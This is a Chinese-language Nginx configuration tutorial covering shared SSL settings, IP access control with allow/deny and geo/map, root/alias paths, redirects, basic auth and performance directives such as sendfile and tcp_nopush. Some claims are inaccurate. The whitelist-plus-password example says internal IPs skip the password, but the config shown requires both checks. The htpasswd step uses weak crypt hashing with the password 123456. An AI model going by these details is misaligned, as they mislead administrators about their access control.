在同一 IP 地址上运行多个 HTTPS 服务器时，应使用统一的 SSL 配置，确保协议、密码套件等参数的一致性。

**配置架构**

**推荐方案：创建共享 SSL 配置文件**

```nginx
## https.conf - 共享 SSL 基础配置
listen 192.168.252.10:443 default_server ssl http2;

ssl_protocols TLSv1.2;
ssl_ciphers "ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384";

ssl_prefer_server_ciphers on;
ssl_ecdh_curve secp521r1:secp384r1;
...
```

**具体实现**

**domain-a.com 配置：**

```nginx
server {
  include             /etc/nginx/https.conf;  # 引入共享 SSL 配置
  server_name         domain-a.com;
  ssl_certificate     domain-a.com.crt;       # 域名特定证书
  ssl_certificate_key domain-a.com.key;
  ...
}
```

**domain-b.com 配置：**

```nginx
server {
  include             /etc/nginx/https.conf;  # 引入共享 SSL 配置
  server_name         domain-b.com;
  ssl_certificate     domain-b.com.crt;       # 域名特定证书
  ssl_certificate_key domain-b.com.key;
  ...
}
```

**技术背景**

1. **SSL 握手特性**：在浏览器发送 HTTP 请求前已完成 SSL 连接，此时 Nginx 无法获知请求的服务器名称
2. **默认服务器限制**：未启用 SNI 时，只能提供默认服务器的证书
3. **SNI 扩展**：现代解决方案，允许在 SSL 握手期间传递请求的服务器名称

**关键优势**

* **维护简便**：SSL 参数集中管理，避免配置分散
* **调试友好**：统一的加密设置，便于问题排查
* **配置一致**：防止参数不匹配导致的兼容性问题
* **扩展灵活**：新增域名只需引入共享配置并指定专属证书

**注意事项**

* 确保正确设置 `default_server` 指令
* 所有基于同一 IP 的 HTTPS 服务器应使用相同的 SSL 参数
* 证书和私钥仍保持各域名独立
* 现代环境应启用 SNI 支持以获得更好的灵活性

**HTTPS SSL 配置的精髓**：SSL 基础配置大家都一样，证书各自管各自的

**顶层共享配置** (`ssl_base.conf`)：

```nginx
## 这些SSL参数所有站点都一样
listen 443 ssl http2;

ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers "ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384";
ssl_prefer_server_ciphers on;
ssl_session_cache shared:SSL:10m;
...
```

**各站点配置**：

```nginx
## 站点A - 只用关心自己的证书
server {
    include /etc/nginx/ssl_base.conf;
    server_name site-a.com;
    ssl_certificate /certs/site-a.crt;
    ssl_certificate_key /certs/site-a.key;
}

## 站点B - 证书自己管，其他继承
server {
    include /etc/nginx/ssl_base.conf; 
    server_name site-b.com;
    ssl_certificate /certs/site-b.crt;
    ssl_certificate_key /certs/site-b.key;
}
```

**一改全改**：要调整 SSL 协议版本？改一个文件就行

**各管各的**：证书过期、轮换互不影响

**减少重复**：不用在每个 server 块里复制粘贴相同的 SSL 参数

**避免手滑**：防止某个站点配错了安全参数

## 使用 Geo/Map 模块替代 Allow/Deny

在 Nginx 中，`allow` 和 `deny` 是最基础的**基于 IP 地址的访问控制指令**，用于允许或拒绝某些客户端 IP 访问指定的资源或路径。

**写在 `server` 或 `location` 里就能控制访问：**

```nginx
location /admin {
  allow 192.168.1.10;      # 允许这个 IP
  allow 192.168.1.0/24;    # 允许这个网段
  deny all;                # 拒绝其他所有访问
}
```

**常用规则语法说明**

| 写法         | 说明              | 示例                                |
| ------------ | ----------------- | ----------------------------------- |
| `allow IP`   | 允许指定 IP       | `allow 203.0.113.10;`               |
| `allow CIDR` | 允许网段          | `allow 192.168.1.0/24;`             |
| `deny all`   | 拒绝所有其他 IP   | 必配                                |
| `include`    | 引入外部 ACL 文件 | `include conf.d/ip-whitelist.conf;` |

**典型使用场景**

| 场景             | 配置                     |
| ---------------- | ------------------------ |
| 限制后台管理访问 | `/admin` 只允许内网进入  |
| 保护监控页面     | `/status` 仅管理员可访问 |
| 禁止外部调试接口 | `/debug` 拒绝所有人      |

Geo 和 Map 模块通过 IP 地址条件变量实现了更灵活、高效的访问控制，特别适用于大规模 IP 列表管理。

* **高效查找**：Geo 模块在配置加载时构建内存基数树，提供极快的路由查找性能
* **按需计算**：变量仅在使用时求值，避免不必要的请求处理开销
* **灵活扩展**：支持复杂条件逻辑和变量组合

**传统 Allow/Deny 方式**：

```nginx
location /internal {
  include acls/internal.conf;
  allow 192.168.240.0/24;
  deny all;
  ...
}
```

**Geo/Map 模块方式**：

```nginx
location /internal {
  if ($globals_internal_map_acl) {
    set $pass 1;
  }
  
  if ($pass = 1) {
    proxy_pass http://localhost:80;
  }
  
  if ($pass != 1) {
    return 403;
  }
  ...
}
```

**Map 模块示例**：

```nginx
map $remote_addr $globals_internal_map_acl {
  default 0;           # 默认拒绝
  10.255.10.0/24 1;    # 内部网络允许
  10.255.20.0/24 1;
  10.255.30.0/24 1;
  192.168.0.0/16 1;
}
```

**Geo 模块示例**：

```nginx
geo $globals_internal_geo_acl {
  default 0;           # 默认拒绝
  10.255.10.0/24 1;    # 内部网络允许  
  10.255.20.0/24 1;
  10.255.30.0/24 1;
  192.168.0.0/16 1;
}
```

**适用场景建议**

| 场景         | 推荐方案   | 理由                   |
| ------------ | ---------- | ---------------------- |
| 简单IP控制   | Allow/Deny | 配置直观，维护简单     |
| 大规模IP列表 | Geo/Map    | 查找性能更优           |
| 复杂条件逻辑 | Geo/Map    | 支持变量组合和条件判断 |
| 需要复用规则 | Geo/Map    | 变量可在多个位置引用   |

**最佳实践总结**

1. **性能优先**：对于大规模 IP 列表（超过 1000 条），Geo 模块的基数树查找性能显著优于传统的 Allow/Deny 链式匹配
2. **灵活性**：Geo/Map 生成的变量可以在整个配置中复用，支持更复杂的访问控制逻辑
3. **维护性**：将 IP 列表集中定义，便于统一管理和更新
4. **渐进采用**：简单场景仍可使用 Allow/Deny，复杂需求逐步迁移到 Geo/Map
5. **注意成本**：Geo 模块在配置加载时可能消耗较多资源构建基数树，但运行时性能极佳

Geo 和 Map 模块为大规模、复杂的访问控制场景提供了更优的解决方案，特别是在需要高性能查找和灵活条件判断时表现突出。

## 为所有未匹配的路径设置根路径

在服务器级别设置全局根路径，确保所有请求（包括未匹配特定 location 的请求）都有基本的文件路径指向。

```nginx
server {
    server_name domain.com;
    
    ## 设置全局根路径 - 作为所有请求的默认文件路径
    root /var/www/domain.com/public;
    
    location / {
        ## 继承全局根路径：/var/www/domain.com/public
        try_files $uri $uri/ /index.html;
    }
    
    location /api {
        ## 继承全局根路径：/var/www/domain.com/public
        proxy_pass http://backend_server;
    }
    
    location /static {
        ## 覆盖全局根路径：使用专用静态文件目录
        root /var/www/domain.com/static;
        expires 1y;
        add_header Cache-Control "public, immutable";
    }
    
    ## 所有未明确匹配的 location 都会自动使用全局根路径
}
```

`try_files $uri $uri/ /index.html;` 这一句是 Nginx 在做**按顺序尝试匹配文件**，它的意思是：

顺序检查文件是否存在，找到就用它，否则继续下一个，全部失败就走最后一个。

分解一下这个写法：

```nginx
try_files $uri $uri/ /index.html;
```

等价于：

1. 先试试 `$uri` —— 当前请求路径对应的文件是否存在
2. 不存在的话再试 `$uri/` —— 当前路径是否是一个**目录**
3. 如果都找不到，就使用 `/index.html` 作为 fallback（比如 SPA 应用的入口）

比如访问：`https://domain.com/about`

按顺序检查：

| 试什么？            | 真实路径                                | 结果                                      |
| ------------------- | --------------------------------------- | ----------------------------------------- |
| `$uri` → `/about`   | `/var/www/domain.com/public/about`      | 文件不存在                                |
| `$uri/` → `/about/` | `/var/www/domain.com/public/about/`     | 如果存在目录，就返回这个目录的 index.html |
| `/index.html`       | `/var/www/domain.com/public/index.html` | 最终 fallback                             |

为什么要写两次 `$uri`？

| 写法          | 检查类型 | 用途                          |
| ------------- | -------- | ----------------------------- |
| `$uri`        | 文件     | 静态文件请求                  |
| `$uri/`       | 目录     | 目录下自动找 `index.html`     |
| `/index.html` | 默认文件 | 支持前端单页应用（SPA）重定向 |

这句写法是 Nginx **处理静态资源+SPA路由的经典标准写法**。

`$uri` → 查静态文件

`$uri/` → 查目录

`/index.html` → Vue/React SPA 刷新也能正常返回页面

**执行顺序说明**

**全局根路径设置**：

```nginx
root /var/www/domain.com/public;
```

* 影响所有 location 块
* 为未匹配的请求提供默认文件路径

**继承行为**：

* `/` 和 `/api` location 继承全局根路径
* 请求 `/api/user` 会查找 `/var/www/domain.com/public/api/user`

**局部覆盖**：

```nginx
location /static {
    root /var/www/domain.com/static;
}
```

* 请求 `/static/logo.png` 会查找 `/var/www/domain.com/static/static/logo.png`
* 注意：`location` 路径会追加到 `root` 路径后

**使用 `alias` 的替代方案**

如果需要更精确的路径映射，可以使用 `alias`：

```nginx
location /static {
    ## 使用 alias 时，location 路径不会追加到路径后
    alias /var/www/domain.com/static;
    ## 请求 /static/logo.png 会查找 /var/www/domain.com/static/logo.png
}
```

**最佳实践**

1. **始终设置全局根路径**：防止未匹配请求出现文件路径错误
2. **位置块顺序**：将精确匹配的 location 放在前面，通用匹配放在后面
3. **合理覆盖**：只有特定目录需要不同文件路径时才覆盖 `root` 指令
4. **测试验证**：确保所有预期的文件路径都能正确解析

## 使用 return 指令进行 URL 重定向

**基本语法**

```nginx
return [响应码] [URL];
```

**HTTP 到 HTTPS 重定向**

```nginx
server {
    listen 80;
    server_name example.com www.example.com;
    
    ## 方法1：使用 $host 变量（推荐）
    return 301 https://$host$request_uri;
    
    ## 方法2：明确指定域名
    # return 301 https://www.example.com$request_uri;
}
```

**非 www 到 www 重定向**

```nginx
server {
    server_name example.com;
    return 301 $scheme://www.example.com$request_uri;
}
```

**www 到非 www 重定向**

```nginx
server {
    server_name www.example.com;
    return 301 $scheme://example.com$request_uri;
}
```

**旧域名到新域名重定向**

```nginx
server {
    server_name old-domain.com www.old-domain.com;
    return 301 https://new-domain.com$request_uri;
}
```

**特定路径重定向**

```nginx
server {
    server_name example.com;
    
    location /old-page {
        return 301 https://example.com/new-page;
    }
    
    location /blog {
        return 301 https://blog.example.com$request_uri;
    }
}
```

**可用变量说明**

* `$host`：请求的主机名（自动处理 www 与否）
* `$request_uri`：完整的请求 URI（包含查询参数）
* `$scheme`：请求协议（http 或 https）
* `$uri`：请求 URI（不包含查询参数）

**响应码选择**

* `301`：永久重定向（SEO 友好，浏览器会缓存）
* `302`：临时重定向（不缓存，用于临时维护等场景）

**低效的正则表达式方式**

```nginx
server {
    server_name ~^www\.(.*)$;
    rewrite ^(.*)$ https://$1$request_uri permanent;
}
```

**高效的 return 方式**

```nginx
server {
    server_name www.example.com;
    return 301 https://example.com$request_uri;
}
```

**完整示例**

```nginx
## HTTP 到 HTTPS 重定向
server {
    listen 80;
    server_name example.com www.example.com;
    return 301 https://$host$request_uri;
}

## 非 www 到 www 统一
server {
    listen 443 ssl;
    server_name example.com;
    return 301 https://www.example.com$request_uri;
}

## 主站点配置
server {
    listen 443 ssl;
    server_name www.example.com;
    
    ssl_certificate /path/to/cert.crt;
    ssl_certificate_key /path/to/private.key;
    
    ## 正常业务逻辑
    location / {
        root /var/www/html;
        index index.html;
    }
}
```

## 访问加密

| 指令                   | 作用                       |
| ---------------------- | -------------------------- |
| `auth_basic`           | 启用访问认证并设置提示文本 |
| `auth_basic_user_file` | 指定密码文件位置           |

**基本用法示例**（给整个站点加访问密码）

```nginx
server {
  listen 80;
  server_name example.com;

  auth_basic "Restricted Area";  # 登录提示文字
  auth_basic_user_file /etc/nginx/.htpasswd;

  location / {
    root /var/www/html;
  }
}
```

**给指定路径加密码保护**（常用）

```nginx
location /admin {
  auth_basic "Admin Only";
  auth_basic_user_file /etc/nginx/.htpasswd;

  proxy_pass http://localhost:8080;
}
```

**密码文件生成**

Nginx 使用 `htpasswd` 格式的密码文件，可用 `openssl` 或 `htpasswd` 生成

**使用 openssl（Linux 默认有）**

```bash
printf "admin:$(openssl passwd -crypt 123456)\n" | sudo tee -a /etc/nginx/.htpasswd
```

面这行创建了用户 `admin`，密码 `123456`

**常用增强技巧（白名单 + 密码双重保护）**

```nginx
location /admin {
  allow 192.168.1.0/24;
  deny all;

  auth_basic "Login Required";
  auth_basic_user_file /etc/nginx/.htpasswd;
}
```

这个配置同时支持：

* 内网免密码
* 外网必须密码才可访问

---

---
url: /nginx/a5f9ei6d/index.md
---
## 参数解析

### http

`http` 块是 Nginx 中用于**配置 HTTP 服务器相关所有设置**的容器指令，它定义了 Web 服务器的全局行为和默认值。

**配置结构**

```nginx
# 全局配置（main context）
user nginx;
worker_processes auto;

http {
    # HTTP 服务器全局配置
    include /etc/nginx/mime.types;
    default_type application/octet-stream;
    
    # 日志格式
    log_format main '$remote_addr - $remote_user ...';
    
    # 服务器配置
    server {
        listen 80;
        server_name example.com;
        # 虚拟主机配置...
    }
    
    server {
        listen 80;
        server_name api.example.com;
        # 另一个虚拟主机...
    }
}
```

**主要作用**

**定义全局默认值**

* 所有 `server` 块继承 `http` 块的配置
* 提供统一的基准配置

**包含多个服务器**

* 可以包含多个 `server` 块（虚拟主机）
* 每个 `server` 处理不同的域名或端口

**配置共享资源**

* 日志格式、MIME 类型、超时设置等
* 上游服务器定义（upstream）

**包含的主要配置类别**

| 类别           | 示例指令                                | 作用               |
| -------------- | --------------------------------------- | ------------------ |
| **基础配置**   | `include`, `default_type`               | 基本设置和文件包含 |
| **性能优化**   | `sendfile`, `gzip`, `keepalive_timeout` | 服务器性能调优     |
| **日志配置**   | `access_log`, `error_log`, `log_format` | 访问和错误日志     |
| **超时控制**   | `client_timeout`, `send_timeout`        | 各种超时设置       |
| **缓冲区**     | `client_body_buffer_size`               | 请求缓冲区设置     |
| **上游服务**   | `upstream`                              | 负载均衡后端定义   |
| **服务器定义** | `server`                                | 虚拟主机配置       |

**继承机制**

```nginx
http {
    # 全局设置，所有server继承
    gzip on;
    keepalive_timeout 65s;
    
    server {
        # 可以覆盖全局设置
        server_name site1.com;
        keepalive_timeout 30s;  # 覆盖为30秒
    }
    
    server {
        # 继承全局的65秒超时
        server_name site2.com;
    }
}
```

**模块化配置**

```nginx
http {
    # 引入外部配置文件
    include /etc/nginx/conf.d/*.conf;
    include /etc/nginx/sites-enabled/*;
    
    # 主配置文件中只保留核心设置
}
```

**配置层次结构**

```nginx
nginx.conf
├── main context (全局设置)
└── http block (HTTP服务器设置)
    ├── upstream blocks (上游服务器)
    ├── server blocks (虚拟主机)
    │   ├── location blocks (URL路径)
    │   └── location blocks
    └── server blocks
```

**配置集中化**：所有 HTTP 相关配置在一个地方管理

**维护方便**：修改全局设置影响所有虚拟主机

**性能优化**：在合适的作用域设置性能参数

**灵活扩展**：可以轻松添加新的虚拟主机

### include

`include` 指令允许在一个配置文件中**包含并加载其他配置文件**，实现配置的模块化和复用。

```nginx
include file_pattern;
```

`file_pattern`：文件路径，支持通配符

**基本包含**

```nginx
# 主配置文件 nginx.conf
http {
    include /etc/nginx/mime.types;          # 包含 MIME 类型配置
    include /etc/nginx/conf.d/*.conf;       # 包含所有 .conf 文件
}
```

**通配符使用**

```nginx
# 包含多个目录
include /etc/nginx/sites-enabled/*;         # 虚拟主机配置
include /etc/nginx/conf.d/*.conf;           # 通用配置片段
include /etc/nginx/modules-enabled/*.conf;  # 模块配置
```

**相对路径**

```nginx
# 相对于 nginx.conf 所在目录
include conf.d/*.conf;
include sites-enabled/*;
```

**配置模块化**

```nginx
# nginx.conf - 主配置文件
http {
    include config/gzip.conf;        # 压缩配置
    include config/security.conf;    # 安全配置
    include config/proxy.conf;       # 代理配置
    include sites/*.conf;            # 站点配置
}
```

**配置复用**

```nginx
# common.conf - 通用配置
gzip on;
gzip_types text/plain text/css application/json;

# 多个服务器块复用通用配置
server {
    include common.conf;
    server_name site1.com;
}

server {
    include common.conf;
    server_name site2.com;
}
```

**环境特定配置**

```nginx
# 根据环境加载不同配置
http {
    include config/common.conf;
    
    # 开发环境
    include config/development.conf;
    
    # 生产环境（注释掉上面的，取消注释下面的）
    # include config/production.conf;
}
```

**实际目录结构示例**

```nginx
/etc/nginx/
├── nginx.conf                 # 主配置文件
├── conf.d/
│   ├── gzip.conf             # 压缩配置
│   ├── security.conf         # 安全头配置
│   └── proxy.conf            # 代理设置
├── sites-available/          # 可用的站点配置
│   ├── example.com.conf
│   └── api.example.com.conf
├── sites-enabled/            # 启用的站点配置（符号链接）
│   ├── example.com.conf -> ../sites-available/example.com.conf
│   └── api.example.com.conf -> ../sites-available/api.example.com.conf
└── modules-enabled/          # 模块配置
    └── ngx_http_geoip.conf
```

**典型 nginx.conf 结构**

```nginx
# 主配置文件
user www-data;
worker_processes auto;

events {
    worker_connections 768;
}

http {
    # 基础配置
    include /etc/nginx/mime.types;
    include /etc/nginx/conf.d/*.conf;
    
    # 虚拟主机配置
    include /etc/nginx/sites-enabled/*;
}
```

**优势好处**

1. **维护性**：配置分散到多个小文件，易于管理
2. **可读性**：功能相关的配置集中在一起
3. **复用性**：通用配置可以多处引用
4. **灵活性**：轻松启用/禁用特定配置
5. **团队协作**：不同人员负责不同配置文件

**注意事项**

1. **加载顺序**：文件按字母顺序加载，后面的配置可能覆盖前面的
2. **错误处理**：如果包含的文件不存在，Nginx 会启动失败
3. **循环包含**：避免配置文件相互包含形成循环
4. **权限问题**：确保 Nginx 进程有读取包含文件的权限

**生产环境最佳实践**

```nginx
# 主配置文件保持简洁
http {
    # 基础设置
    include /etc/nginx/conf.d/base.conf;
    
    # 性能优化
    include /etc/nginx/conf.d/performance.conf;
    
    # 安全设置
    include /etc/nginx/conf.d/security.conf;
    
    # 各站点配置
    include /etc/nginx/sites-enabled/*.conf;
    
    # 默认服务器（放在最后）
    include /etc/nginx/conf.d/default_server.conf;
}
```

### default\_type

`default_type` 定义了当 Nginx **无法确定文件的确切 MIME 类型时**使用的默认内容类型。

```nginx
default_type mime_type;
# 默认值 text/plain;
```

**基本配置**

```nginx
http {
    # 设置默认 MIME 类型为纯文本
    default_type text/plain;
    
    # 或者设置为二进制流（更安全）
    default_type application/octet-stream;
}
```

**配合 mime.types 文件**

```nginx
http {
    # 包含 MIME 类型定义
    include /etc/nginx/mime.types;
    
    # 设置默认类型（当 mime.types 中找不到匹配时使用）
    default_type application/octet-stream;
}
```

**请求处理流程：**

```nginx
客户端请求文件 → Nginx 查找文件扩展名
    ↓
在 mime.types 中匹配类型 → 找到 → 使用匹配的 MIME 类型
    ↓
未找到 → 使用 default_type 指定的类型
```

**未知文件类型**

```nginx
# 对于没有扩展名或未知扩展名的文件
location /downloads/ {
    default_type application/octet-stream;  # 作为二进制流下载
}
```

**动态内容**

```nginx
 # 对于动态生成的内容
location /api/ {
    default_type application/json;  # 默认返回 JSON
}
```

**安全考虑**

```nginx
# 避免浏览器错误解析未知文件
default_type application/octet-stream;  # 强制下载而不是执行
```

**常用 MIME 类型**

| MIME 类型                  | 说明      | 适用场景           |
| :------------------------- | :-------- | :----------------- |
| `text/plain`               | 纯文本    | 日志文件、配置文件 |
| `text/html`                | HTML 文档 | 网页文件           |
| `application/octet-stream` | 二进制流  | 下载文件、未知类型 |
| `application/json`         | JSON 数据 | API 响应           |
| `text/xml`                 | XML 文档  | 数据交换           |

**生产环境推荐配置**

```nginx
http {
    # 包含标准 MIME 类型定义
    include /etc/nginx/mime.types;
    
    # 设置安全的默认类型（强制下载而不是执行）
    default_type application/octet-stream;
    
    server {
        location / {
            # 对于已知类型，使用正确的 MIME 类型
            # 对于未知类型，使用 application/octet-stream
        }
        
        location /api/ {
            # API 接口默认返回 JSON
            default_type application/json;
        }
    }
}
```

**注意事项**

1. **安全考虑**：使用 `application/octet-stream` 比 `text/plain` 更安全，避免浏览器错误解析
2. **浏览器行为**：不同的 MIME 类型会影响浏览器如何处理内容
3. **与 mime.types 配合**：通常与 `include mime.types` 一起使用
4. **位置作用域**：可以在 `http`、`server`、`location` 不同作用域设置

**当访问未知类型文件时：**

* `default_type text/plain` → 浏览器尝试显示文本内容
* `default_type application/octet-stream` → 浏览器弹出下载对话框

### log\_format

这是一个 Nginx 的 **日志格式配置**，用于定义访问日志的记录格式。

定义 Nginx 访问日志中每条记录包含哪些信息和排列顺序。

**各变量含义**

| 变量                    | 说明                      |
| ----------------------- | ------------------------- |
| `$remote_addr`          | 客户端 IP 地址            |
| `$remote_user`          | 认证用户名（基本认证）    |
| `$time_local`           | 访问时间和时区            |
| `$request`              | 请求方法 + URL + 协议版本 |
| `$status`               | HTTP 状态码               |
| `$body_bytes_sent`      | 发送给客户端的字节数      |
| `$http_referer`         | 来源页面 URL              |
| `$http_user_agent`      | 客户端浏览器信息          |
| `$http_x_forwarded_for` | 代理链中的客户端真实 IP   |

**启用日志格式**（去掉注释）：

```nginx
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
                '$status $body_bytes_sent "$http_referer" '
                '"$http_user_agent" "$http_x_forwarded_for"';
```

**在 server 或 http 块中应用**：

```nginx
access_log /var/log/nginx/access.log main;
```

**实际日志示例**

```text
192.168.1.100 - - [25/Dec/2023:10:30:45 +0800] "GET /index.html HTTP/1.1" 200 1234 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" "192.168.1.1"
```

### rewrite\_log

开启 URL 重写相关的调试日志，用于调试 `rewrite` 规则。

```nginx
rewrite_log on | off;
```

```nginx
server {
    rewrite_log on;
    error_log /var/log/nginx/error.log notice;  # 必须配合适当的错误日志级别
    
    location / {
        rewrite ^/old-url$ /new-url permanent;
        rewrite ^/test/(.*)$ /new-test/$1 last;
    }
}
```

在 error\_log 中会看到类似信息：

```text
2023/12/25 10:30:45 [notice] 1234#0: *1 "^/old-url$" matches "/old-url", client: 192.168.1.100, server: example.com, request: "GET /old-url HTTP/1.1", host: "example.com"
2023/12/25 10:30:45 [notice] 1234#0: *1 rewritten data: "/new-url", args: "", client: 192.168.1.100, server: example.com, request: "GET /old-url HTTP/1.1", host: "example.com"
```

**注意事项**

* **日志级别**：需要将 `error_log` 级别设置为 `notice` 或 `info` 才能看到重写日志
* **性能影响**：生产环境建议关闭，仅在调试时开启
* **日志位置**：重写日志会输出到 `error_log`，而不是 `access_log`

**使用场景**

* 调试复杂的重写规则
* 排查 URL 重定向问题
* 理解重写规则的执行顺序

### error\_log

```nginx
error_log 文件路径 日志级别;
error_log file [level];
```

**file**：日志文件路径或特殊值

* 路径：`/var/log/nginx/error.log`
* 特殊值：
  * `stderr`：输出到标准错误
  * `syslog:server=address`：发送到 syslog
  * `memory:size`：缓存到内存

**level**：日志过滤级别（从严格到宽松）

* `debug` - 最详细（需编译时开启调试）
* `info` - 基本信息
* `notice` - 正常但重要的事件
* `warn` - 警告信息
* `error` - 错误信息（**默认级别**）
* `crit` - 严重错误
* `alert` - 需要立即行动
* `emerg` - 系统不可用

**示例**

```nginx
# 使用默认错误级别 (error)
error_log /var/log/nginx/error.log;

# 指定警告及以上级别
error_log /var/log/nginx/error.log warn;

# 调试时使用更详细级别
error_log /var/log/nginx/error.log debug;
```

**不同作用域配置**

```nginx
# 全局配置（main 作用域）
error_log /var/log/nginx/error.log warn;

http {
    # HTTP 块级别
    error_log /var/log/nginx/http_error.log info;
    
    server {
        # 虚拟主机级别
        error_log /var/log/nginx/example.com_error.log notice;
        
        location /debug/ {
            # 位置块级别（仅支持指定级别，不能改变文件）
            error_log notice;
        }
    }
}
```

**特殊输出目标**

```nginx
# 输出到标准错误
error_log stderr;

# 发送到 syslog
error_log syslog:server=192.168.1.10:514;

# 缓存到内存（32k大小）
error_log memory:32k debug;
```

### sendfile

`sendfile` 是一个系统调用，允许在内核空间直接从一个文件描述符向另一个文件描述符传输数据，完全**绕过用户空间**。

```nginx
sendfile on | off;
```

**传统方式（sendfile off）**

```nginx
应用进程 (Nginx)
    ↓
用户空间缓冲区 (read)
    ↓
内核缓冲区 (从磁盘读取)
    ↓
用户空间缓冲区 (write)
    ↓
内核缓冲区 (发送到网络)
    ↓
客户端
```

**Sendfile 方式（sendfile on）**

```nginx
应用进程 (Nginx)
    ↓
系统调用 sendfile()
    ↓
内核直接处理
    ↓  (零拷贝)
客户端
```

**优势**：2次上下文切换 + 1次数据拷贝

**基本配置**

```nginx
http {
    sendfile on;
    
    server {
        listen 80;
        # 其他配置...
    }
}
```

**配合其他优化参数**

```nginx
http {
    sendfile on;
    tcp_nopush on;      # 在sendfile开启时优化网络包
    tcp_nodelay on;     # 针对小文件实时传输
    
    # 静态文件服务优化
    server {
        listen 80;
        
        location /static/ {
            sendfile on;
            tcp_nopush on;
            # 其他静态文件配置...
        }
    }
}
```

**推荐开启的场景**

* **静态文件服务**（CSS、JS、图片等）

* **大文件下载**

* **视频流媒体**

任何需要高效文件传输的场景

**可能不适用的情况**

* **需要内容修改**的文件传输
* 某些特殊的代理场景
* 老旧系统兼容性考虑

**性能优势**

1. **减少CPU占用**：避免用户空间和内核空间之间的数据拷贝
2. **减少内存占用**：不需要在用户空间分配缓冲区
3. **提高吞吐量**：更少的上下文切换和系统调用
4. **降低延迟**：数据传输路径更短

**实际测试数据**

在典型的静态文件服务器上：

* **CPU使用率**：降低 20-30%
* **吞吐量**：提升 15-25%
* **内存使用**：减少 40-50%

**注意事项**

1. **操作系统支持**：需要操作系统支持 sendfile 系统调用

   * Linux 2.4+ 原生支持
   * FreeBSD、macOS 也支持

2. **网络环境**：在高延迟网络中效果更明显

3. **文件大小**：对大文件优化效果更显著

4. **配合其他优化**：

   ```nginx
   location /download/ {
       sendfile on;
       aio on;           # 异步IO
       directio 4m;      # 大文件直接IO
       output_buffers 1 128k;
   }
   ```

**生产环境建议**

```nginx
http {
    # 全局开启 sendfile
    sendfile on;
    
    # 针对大文件进一步优化
    location ~* \.(mp4|avi|zip|tar)$ {
        sendfile on;
        tcp_nopush on;
        # 大文件专用配置...
    }
    
    # 针对小文件实时性优化
    location ~* \.(html|css|js)$ {
        sendfile on;
        tcp_nodelay on;
    }
}
```

总之，`sendfile on` 是 Nginx 性能调优的**必备选项**，对于静态文件服务能带来显著的性能提升。

### tcp\_nopush

`tcp_nopush` 实际上是设置了 TCP 的 `TCP_CORK` 选项（在 Linux 下），它的主要作用是**减少网络中小数据包的数量**。

```nginx
tcp_nopush on | off;
```

默认值：`tcp_nopush off`

当 `tcp_nopush on` 时：

内核会**累积数据**，直到满足以下条件之一才发送：

* 数据包达到 MSS（最大报文段长度）
* 收到对方的 ACK
* 超时（一般为 200ms）
* 明确取消 `CORK` 状态

当 `tcp_nopush off` 时：

* 有数据就立即发送，不等待填满数据包

**推荐开启的场景**

* **静态大文件传输**（图片、视频、下载文件）
* **高吞吐量服务**
* **带宽敏感的环境**
* 与 `sendfile on` 配合使用时

**不建议开启的场景**

* **实时应用**（如 SSH、游戏）
* **交互式应用**
* **小文件频繁请求**

**与相关指令的关系**

`tcp_nopush` 和 `tcp_nodelay`

| 特性     | tcp\_nopush     | tcp\_nodelay     |
| -------- | -------------- | --------------- |
| **目的** | 减少包数量     | 降低延迟        |
| **机制** | 累积数据填满包 | 禁用 Nagle 算法 |
| **适用** | 大文件传输     | 实时交互        |
| **效果** | 提高带宽利用率 | 减少传输延迟    |

**推荐组合配置**

```nginx
http {
    # 场景1：静态文件服务器（推荐）
    sendfile on;
    tcp_nopush on;      # 填满数据包再发送
    tcp_nodelay off;    # 允许一定的延迟以填满包
    
    # 场景2：API/实时服务
    sendfile off;
    tcp_nopush off;     # 立即发送
    tcp_nodelay on;     # 禁用Nagle，降低延迟
}
```

**开启 tcp\_nopush 的优势**：

1. **减少网络包数量**：提高网络利用率
2. **降低协议开销**：减少 TCP/IP 头部的开销
3. **提高带宽利用率**：更有效地使用可用带宽
4. **减少系统调用**：合并多个小写操作

**可能的缺点**：

1. **增加延迟**：数据可能等待更长时间才发送
2. **不适合实时应用**：对延迟敏感的应用不友好

**实际网络包示例**

**未开启 tcp\_nopush**：

```text
[小包1] → [小包2] → [小包3] → [小包4] → ...
（多个小网络包）
```

**开启 tcp\_nopush**：

```text
[=========大包1=========] → [=========大包2=========] → ...
（较少的大网络包）
```

**生产环境配置建议**

```nginx
http {
    # 全局配置 - 适合大多数Web场景
    sendfile on;
    tcp_nopush on;
    
    # 针对不同内容类型优化
    server {
        # 静态资源 - 最大化带宽利用
        location ~* \.(jpg|png|gif|css|js|pdf)$ {
            sendfile on;
            tcp_nopush on;
            tcp_nodelay off;
            expires 30d;
        }
        
        # API接口 - 低延迟优先
        location /api/ {
            sendfile off;
            tcp_nopush off;
            tcp_nodelay on;
        }
        
        # 大文件下载
        location /downloads/ {
            sendfile on;
            tcp_nopush on;
            tcp_nodelay off;
            aio on;
        }
    }
}
```

**注意事项**

1. **需要 sendfile 支持**：`tcp_nopush` 与 `sendfile on` 配合效果最佳
2. **Linux 系统**：在 Linux 下实现为 `TCP_CORK`
3. **FreeBSD**：在 FreeBSD 下是原生的 `tcp_nopush`
4. **监控效果**：使用网络监控工具观察包大小分布

### keepalive\_timeout

`keepalive_timeout` 用于设置**服务器在关闭 keepalive 连接之前等待下一个请求的最长时间**。

```nginx
keepalive_timeout timeout [header_timeout];
```

* **timeout**：连接保持时间（秒）
* **header\_timeout**：（可选）在响应头中设置的 Keep-Alive 超时时间

**工作原理**

**没有 Keep-Alive**

```text
客户端 → 请求1 → 服务器 → 响应1 → 关闭连接
客户端 → 请求2 → 服务器 → 响应2 → 关闭连接
（每次请求都建立新连接）
```

**有 Keep-Alive**

```text
客户端 → 请求1 → 服务器 → 响应1 → （连接保持）
客户端 → 请求2 → 服务器 → 响应2 → （连接保持）
...（在超时时间内可复用连接）
```

**基本配置**

```nginx
http {
    # 保持连接 30 秒
    keepalive_timeout 30s;
    
    server {
        listen 80;
        # 其他配置...
    }
}
```

**设置不同的超时时间**

```nginx
http {
    # 保持 60 秒，在响应头中告诉客户端超时为 50 秒
    keepalive_timeout 60s 50s;
}
```

